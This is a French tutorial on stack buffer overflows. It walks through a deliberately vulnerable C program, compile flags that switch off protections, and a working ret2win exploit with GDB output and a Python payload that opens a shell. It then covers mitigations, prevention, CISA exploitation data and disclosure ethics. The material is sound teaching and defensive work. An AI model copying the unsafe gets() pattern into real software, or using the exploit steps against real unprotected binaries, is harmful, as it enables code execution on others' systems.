Buffer Overflow : comprendre l'attaque en détail (2026)

Qu'est-ce qu'un buffer overflow ?

Un buffer overflow est un bug de corruption mémoire dans lequel un programme écrit des données au-delà de la fin d'un tampon de taille fixe, écrasant la mémoire adjacente. Lorsque cette mémoire contient des données de contrôle comme l'adresse de retour d'une fonction, celui qui maîtrise l'entrée maîtrise l'endroit où le programme va s'exécuter ensuite.

Deux conditions doivent être réunies. Le programme a besoin d'un tampon de taille fixe, et d'une opération de copie qui ne vérifie pas la quantité de données qu'elle copie. Le C et le C++ fournissent les deux par défaut : char user[64] alloue exactement 64 octets, et gets(), strcpy(), sprintf() ou memcpy() avec une longueur influencée par l'attaquant écriront volontiers au-delà. Il n'existe aucune vérification de bornes tant que le développeur n'en écrit pas une.

C'est pourquoi cette classe de vulnérabilité est indissociable des langages qui la permettent. Java, Go, Rust, Python et C# insèrent des vérifications de bornes ou suivent la propriété de la mémoire, et une écriture hors limites lève une exception au lieu de corrompre silencieusement la variable suivante. Les buffer overflows vivent là où vivent le C et le C++ : noyaux, démons réseau, analyseurs de formats multimédias, firmwares, pilotes, et ces milliards d'équipements embarqués livrés avec un compilateur de 2014 et qui ne seront jamais mis à jour.

Le vocabulaire prête à confusion, voici donc la carte. Buffer overflow désigne le comportement général. Stack overflow signifie que le tampon était une variable locale. Heap overflow signifie qu'il venait de malloc(). Écriture hors limites est la classe de faiblesse formelle, cataloguée sous CWE-787, cinquième du CWE Top 25 2025, publié en décembre de la même année. Le dépassement de tampon sur la pile possède son propre identifiant, CWE-121, au rang 14 de la même liste.

Comment fonctionne réellement un dépassement de tampon sur la pile

Tout dans cette attaque découle d'une décision de conception prise il y a des décennies : sur x86-64, l'adresse de retour est stockée sur la même pile que les variables locales, et elle se trouve au-dessus d'elles.

À quoi ressemble une frame de pile

Appeler une fonction empile l'adresse à laquelle reprendre une fois qu'elle aura rendu la main. La fonction met ensuite en place sa propre frame et alloue ses variables locales sous cette adresse sauvegardée. Une frame contenant un tampon de 64 octets ressemble à ceci, de l'adresse mémoire basse vers la haute :

• char user[64], le tampon, 64 octets
• RBP sauvegardé, le pointeur de frame de l'appelant, 8 octets
• RIP sauvegardé, l'adresse de retour, 8 octets

Écrire dans user progresse vers le haut de cette liste. Les 64 premiers octets remplissent le tampon. Les octets 65 à 72 tombent sur le pointeur de frame sauvegardé. Les octets 73 à 80 tombent sur l'adresse de retour. Cette arithmétique, 64 plus 8 égale 72, donne le décalage que vous cherchez systématiquement.

Ce qui se passe à l'instruction ret

L'instruction ret fait une seule chose : elle dépile huit octets du sommet de la pile vers le pointeur d'instruction et saute à cette adresse. Elle ne les valide pas. Si ces huit octets valent AAAAAAAA, le processeur plante en tentant d'exécuter à 0x4141414141414141 et vous obtenez une erreur de segmentation. S'il s'agit de l'adresse d'une vraie fonction, le processeur l'appelle, et le programme se comporte comme s'il avait été écrit pour cela. C'est toute la différence entre un plantage et un exploit.

Un exemple de buffer overflow que vous pouvez lancer aujourd'hui

Voici un programme contenant le bug. Enregistrez-le sous vuln.c :

#include <stdio.h>
#include <stdlib.h>

void win(void) {
    puts("[+] win() reached - spawning shell");
    system("/bin/sh");
}

void login(void) {
    char user[64];
    printf("Username: ");
    gets(user);
    printf("Access denied for %s\n", user);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    login();
    return 0;
}

win() n'est jamais appelée. Elle existe dans le binaire et rien ne l'atteint, d'où le nom de ce motif : ret2win. Compilez avec les protections modernes désactivées, car l'objectif ici est de voir le mécanisme avant de voir ce qui le contre :

$ gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c
/usr/bin/ld: warning: the `gets' function is dangerous and should not be used.

Cet avertissement de l'éditeur de liens n'est pas une formalité. gets() n'a aucun usage sûr, ce qui explique pourquoi le comité de normalisation du C l'a purement et simplement retirée en C11 au lieu de la déprécier davantage. Quatre étapes vous mènent du code source au shell.

1. Provoquez le plantage. Envoyez au programme un motif long et non répétitif plutôt qu'une suite plate de A, afin que les octets qui atteignent l'adresse de retour vous disent d'où ils viennent. pwntools en génère un avec cyclic(120).
2. Lisez le décalage sur la pile. Lancez le programme sous GDB et regardez ce qui se trouve au sommet de la pile au moment du plantage :

   $ gdb -q -batch -ex "run < pattern.txt" -ex "x/1gx \$rsp" ./vuln
   Program received signal SIGSEGV, Segmentation fault.
   0x000000000040122d in login () at vuln.c:14
   0x7fffffffcd88: 0x6161617461616173

   Décodés en little-endian, ces huit octets donnent saaataaa. Cherchez cette sous-chaîne dans le motif : elle commence à l'indice 72. Aucune supposition, aucune recherche dichotomique, une seule exécution.
3. Récupérez l'adresse cible. nm vuln | grep -w win renvoie 00000000004011b6 T win. Comme le binaire a été construit avec -no-pie, cette adresse est fixe à chaque exécution.
4. Construisez la charge utile. Soixante-douze octets de remplissage, puis l'adresse de win() encodée en petit-boutiste :

   $ python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*72 + struct.pack('<Q', 0x4011b6))" > payload
   $ (cat payload; echo; cat) | ./vuln
   Username: Access denied for AAAAAAAA...
   [+] win() reached - spawning shell
   id
   uid=0(root) gid=0(root) groups=0(root)

En pratique, deux pièges vous attendent sur ce programme précis, et il vaut mieux les connaître avant qu'ils ne vous coûtent un après-midi. L'alignement de pile d'abord : system() dans la glibc moderne utilise des instructions SSE qui plantent si RSP n'est pas aligné sur 16 octets au moment de l'appel, donc si win() atteint system() et meurt là, ajoutez un gadget ret nu devant votre charge utile pour décaler la pile de huit octets. Ensuite vient la mise en tampon de l'entrée standard. gets() peut avaler tout le tube dans son tampon stdio, si bien que votre nouveau shell lit une fin de fichier et se termine avant que vous ne tapiez quoi que ce soit : c'est la construction (cat payload; echo; cat) ci-dessus qui garde le tube ouvert.

Une précision sur cette ligne uid=0(root), car c'est la lecture erronée la plus fréquente d'une démonstration ret2win. Elle a été produite dans un conteneur jetable dont le seul utilisateur est root. Un buffer overflow vous donne les privilèges que le processus possédait déjà. C'est une primitive d'exécution, pas une technique d'escalade de privilèges, et les deux ne se combinent que si le binaire vulnérable est setuid ou tourne sous un compte de service.

Pile, tas et dépassements d'entiers

L'exemple ci-dessus est un dépassement sur la pile, là où tout le monde commence parce que les données de contrôle se trouvent juste à côté du tampon. Deux autres familles reviennent constamment dans les vrais bulletins de sécurité.

C'est vers le tas que les bugs intéressants se sont déplacés. Il n'y a pas d'adresse de retour à côté d'un tampon du tas, donc l'exploitation passe par la corruption de la comptabilité de l'allocateur ou du pointeur de fonction d'un objet voisin, ce qui suppose de façonner d'abord la disposition du tas. En contrepartie, les bugs de tas survivent aux protections qui ont tué l'exploitation facile de la pile. Use After Free, CWE-416, occupe le septième rang du CWE Top 25 2025, deux places au-dessus de la faiblesse classique de copie de tampon.

Le cas des entiers se cache bien lors des revues de code. Une fonction calcule malloc(count * size), un attaquant fournit un count assez grand pour faire déborder la multiplication, l'allocation revient bien plus petite que prévu, et la copie qui suit déborde un tampon qui paraissait correctement dimensionné trois lignes plus haut. La CVE-2021-3156 de sudo en était une cousine : une erreur de décalage d'une unité (off-by-one) dans le traitement des séquences d'échappement par antislash produisait un dépassement sur le tas donnant root sur chaque version de sudo publiée entre juillet 2011 et janvier 2021, soit une décennie de bug logé dans le binaire setuid le plus audité de Linux.

Pourquoi les buffer overflows comptent encore en 2026

La réponse honnête et brève : ils comptent moins qu'en 2005 et plus que ne le supposent la plupart des défenseurs. Les chiffres soutiennent les deux moitiés de cette phrase.

Les bugs de sûreté mémoire restent la classe de vulnérabilité dominante dans les grandes bases de code C et C++. Matt Miller, de Microsoft, indiquait à BlueHat en 2019 qu'environ 70 pour cent des CVE corrigées par l'entreprise sur les douze années précédentes relevaient de la sûreté mémoire, et le projet Chromium rapporte le même chiffre de 70 pour cent pour ses bugs de sécurité de sévérité élevée, mesuré sur 912 d'entre eux depuis 2015.

Ce qui a changé, c'est quels dépassements sont réellement exploités, et le catalogue des vulnérabilités activement exploitées de la CISA y répond mieux que n'importe quel rapport d'éditeur, puisque chaque entrée correspond à une faille utilisée contre une cible réelle. Sur les 1 662 entrées du catalogue au 10 août 2026, 84 sont décrites comme des buffer overflows, soit environ cinq pour cent. Trier ces 84 par date d'ajout montre où la classe a atterri :

• Équipements réseau et pare-feux. CVE-2025-53521, un dépassement sur la pile dans F5 BIG-IP APM menant à l'exécution de code à distance, a été ajoutée en mars 2026. Les équipements de bordure analysent du trafic non fiable en C avant toute authentification, ce qui est la pire combinaison possible.
• Firmwares grand public et embarqués. CVE-2021-27137, un dépassement sur la pile dans le gestionnaire UPnP de DD-WRT accessible sans authentification, a été ajoutée en juillet 2026. La CVE a cinq ans. Les firmwares de routeurs ne sont pas mis à jour, alors le bug attend, tout simplement.
• Systèmes d'exploitation mobiles et de bureau. Trois problèmes distincts de dépassement de tampon chez Apple ont rejoint le catalogue entre février et mars 2026, tous dans des chemins de code traitant des médias ou du trafic réseau fournis par l'attaquant.

Le schéma est constant. Personne n'exploite un dépassement sur la pile dans une application serveur Linux fraîchement compilée, parce que les réglages par défaut du compilateur rendent l'opération non rentable. Les cibles sont les parties du parc compilées il y a dix ans, tournant sur des architectures aux protections plus faibles, sans aucun chemin de mise à jour. Si vous choisissez où regarder pendant une mission réseau, voilà la liste courte.

Les quatre protections qui ont rendu les buffer overflows difficiles

Recompilez exactement le même vuln.c que plus haut, sans aucune option et l'attaque s'effondre immédiatement :

$ gcc -o vuln_hardened vuln.c
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xb6\x11\x40\x00\x00\x00\x00\x00')" | ./vuln_hardened
Username: Access denied for AAAAAAAA...
*** stack smashing detected ***: terminated
Aborted

Rien n'a changé dans le code source. Quatre protections distinctes, toutes activées par défaut dans le gcc 13.3 d'Ubuntu, font le travail.

• Canaris de pile. Le compilateur place une valeur aléatoire entre les tampons locaux et l'adresse de retour sauvegardée, puis vérifie qu'elle est intacte avant de rendre la main. Écraser l'adresse de retour implique nécessairement d'écraser le canari d'abord, ce qui produit l'abandon stack smashing detected ci-dessus. Vérifiez sa présence avec nm binaire | grep stack_chk.
• Mémoire non exécutable, NX ou DEP. Les pages de pile sont mappées en écriture mais pas en exécution, donc un shellcode écrit dans un tampon plante quand le processeur tente de l'exécuter. readelf -lW binaire | grep GNU_STACK affiche RW sur la version durcie et RWE sur celle construite avec -z execstack. À elle seule, cette évolution a mis à la retraite toute une génération de tutoriels qui enseignent l'injection de shellcode sur la pile.
• ASLR. Le noyau randomise l'emplacement de la pile, du tas et des bibliothèques à chaque exécution, donc une adresse codée en dur est fausse au lancement suivant. Linux l'active par défaut depuis 2005, via /proc/sys/kernel/randomize_va_space.
• Exécutables indépendants de la position. L'ASLR ne randomise le code du programme lui-même que si le binaire est construit en PIE. Vérifiez avec readelf -hW binaire | grep Type : DYN signifie indépendant de la position, EXEC signifie que les adresses sont fixes et que 0x4011b6 reste valide à chaque exécution. C'est pour cela que la démonstration utilisait -no-pie.

Les attaquants se sont adaptés plutôt que d'abandonner. Les piles non exécutables ont poussé l'exploitation vers la programmation orientée retour, qui enchaîne de courtes séquences d'instructions déjà présentes dans le binaire et n'injecte jamais de nouveau code. L'ASLR l'a poussée vers la fuite préalable des vraies adresses de la cible, la charge utile n'étant construite qu'ensuite. Les deux sont traitées dans le cours d'exploitation de binaires, et les deux demandent bien plus de travail que les quatre étapes ci-dessus, ce qui est précisément l'intérêt d'une protection.

Comment prévenir les buffer overflows

Comment prévenir un buffer overflow ? Utilisez un langage à sûreté mémoire pour le code neuf, remplacez les fonctions de copie non bornées par des équivalents à longueur vérifiée dans le C et le C++ existants, gardez toutes les options de durcissement du compilateur actives, et menez un fuzzing continu avec un sanitizer pour que les dépassements apparaissent en test plutôt qu'en production.

Par ordre de risque supprimé :

1. Écrivez les nouveaux composants dans un langage à sûreté mémoire. Cela élimine la classe entière au lieu de l'atténuer. La CISA, la NSA, le FBI et des agences partenaires d'Australie, du Canada, de Nouvelle-Zélande et du Royaume-Uni ont publié The Case for Memory Safe Roadmaps en décembre 2023 pour inciter les fabricants à publier exactement ce type de feuille de route, et la NSA a suivi avec des recommandations dédiées aux langages à sûreté mémoire en juin 2025. Réécrire une base de code C d'un million de lignes est rarement réaliste. Écrire le nouveau parseur en Rust l'est généralement.
2. Supprimez les fonctions dangereuses. gets() n'a aucun usage sûr et a été retirée du C11. strcpy(), strcat() et sprintf() écrivent jusqu'à rencontrer un octet nul sans la moindre idée de la taille de la destination. Leurs remplaçantes bornées, snprintf() et strlcpy(), exigent un argument de taille, ce qui force le développeur à y réfléchir une fois.
3. Activez le compilateur. -D_FORTIFY_SOURCE=3, -fstack-protector-strong, -fstack-clash-protection, -Wl,-z,relro,-z,now et PIE ne coûtent presque rien à l'exécution et ferment chacun une technique. Ajoutez -fcf-protection sur x86-64, ou l'identification des cibles de branchement sur ARM moderne, pour que l'intégrité du flot de contrôle assurée par le matériel rejette les sauts vers des adresses qui ne sont pas des points d'entrée de fonction valides.
4. Fuzzez en continu avec les sanitizers actifs. AddressSanitizer attrape les écritures hors limites au moment où elles se produisent, et non quand la mémoire corrompue est relue, ce qui transforme un bug fantôme en trace de pile. Associez -fsanitize=address à libFuzzer ou AFL++ et pointez-les sur chaque fonction qui analyse une entrée venue de l'extérieur de votre périmètre de confiance.
5. Corrigez d'abord les équipements en bordure de réseau. Les données du catalogue de la CISA ci-dessus sont sans ambiguïté sur le lieu réel de l'exploitation. Concentrateurs VPN, pare-feux, répartiteurs de charge et routeurs méritent une fenêtre de correctif plus courte que les serveurs applicatifs internes.

Une mise en garde sur les options du compilateur. Elles augmentent le coût de l'exploitation, elles ne suppriment pas le bug, et un attaquant disposant d'une fuite d'information les traverse toutes. Traitez les protections comme du temps gagné avant le correctif, pas comme un correctif.

Considérations légales et éthiques

Deux points sont propres à cette classe de bug. Le fuzzing n'est pas passif : pointer un fuzzer sur un service en production revient à provoquer des plantages en continu, donc cela se pratique sur votre propre copie de la cible et à l'intérieur d'une fenêtre définie par écrit. Et si vous découvrez un vrai dépassement dans un logiciel qui ne vous appartient pas, la fiche de l'OWASP sur les attaques par dépassement de tampon constitue une référence solide dans un rapport de divulgation, accompagnée de l'entrée qui provoque le plantage, de la version affectée, et de rien de plus qu'il n'en faut pour établir la découverte.

La divulgation coordonnée compte aussi davantage ici qu'en sécurité web. Un exploit de corruption mémoire fonctionnel pour un démon réseau est une capacité sérieuse, et le publier avant l'existence d'un correctif met en danger chaque déploiement non corrigé, ce qu'une preuve de concept XSS ne fait pas.